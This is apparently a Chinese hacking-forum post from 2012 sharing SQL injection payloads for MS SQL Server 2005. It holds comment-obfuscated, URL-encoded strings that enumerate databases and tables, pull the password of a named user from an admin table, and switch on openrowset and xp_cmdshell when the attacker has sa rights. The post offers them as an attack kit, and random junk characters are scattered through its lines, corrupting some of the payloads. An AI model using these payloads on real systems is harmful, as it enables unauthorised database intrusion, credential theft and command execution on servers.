找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2180|回复: 0
打印 上一主题 下一主题

MSsql2005注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:19:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  p, U4 u7 N, W, W; D% ]
3 o/ d* P) t7 w2 {9 Y- Z
& A, @- U& e' D" T" f- m# e" L  ~& v
[Copy to clipboard]CODE:# b# u1 L9 I& c# V
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--) i' U: J" J. ~9 r5 t

' ^( J% v- D; R/ u3 W- ^) }爆表语句,somedb部份是所要列的数据库,红色数字1累加9 N1 C6 |7 E: y2 j' P" t( E
% q# L+ U! D0 d

" ^* _0 ~2 L2 r. h8 _4 ]  B8 j[Copy to clipboard]CODE:
- s& G  E7 c7 C# p9 K4 q. ^1 y/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
% w& K8 D+ h8 `1 M) [# `, }( W1 k+ B+ T- i
爆字段语句,爆表admin里user='icerover'的密码段
/ @1 O% m8 t- x+ \8 J' T: Y; b! {! e! `, K/ R5 [4 {

. q6 d+ O0 J3 `- ?- ]7 y* N[Copy to clipboard]CODE:
3 s! ~/ P1 m% `* r**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
* E; Z3 d$ v3 m! F2 w% C
- ^- ]% y7 K8 G6 r" @mssql2005默认没有开xp_cmdshell的,openrowset也不能用7 o4 `& m% H3 a( c
如果是sa权限,可以这样来开启
1 V3 N9 r7 p' ^4 u, w( L开启openrowset
) c8 _" F3 ?0 l; V
8 l7 [: m( a- d" A2 Z/ ~: P1 P: F7 l% T4 F; g& [! K* Q  I
[Copy to clipboard]CODE:
; q( B/ V9 Q; K$ q/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--$ R' D. w# a9 w2 W% ]7 m( t
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
) K1 b+ Z; b+ y3 {; A/ L: \
$ y) ?5 A3 U' c开启xp_cmdshell" V( _# ~0 ]$ }
' z* U+ y, N7 e% J: C
8 A& ~# ?; [# _5 w# A$ d
[Copy to clipboard]CODE:  P& v3 b+ x- r! [1 o$ \/ Z4 G
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--4 C0 M6 O2 S, Y3 ~
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
( ^# U( L8 y- S, [9 x* v1 H6 w' s4 p: m2 U  a8 p* b! u
ok,over~~晚安2 |0 x- f" B- |0 X& V8 o" D% w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表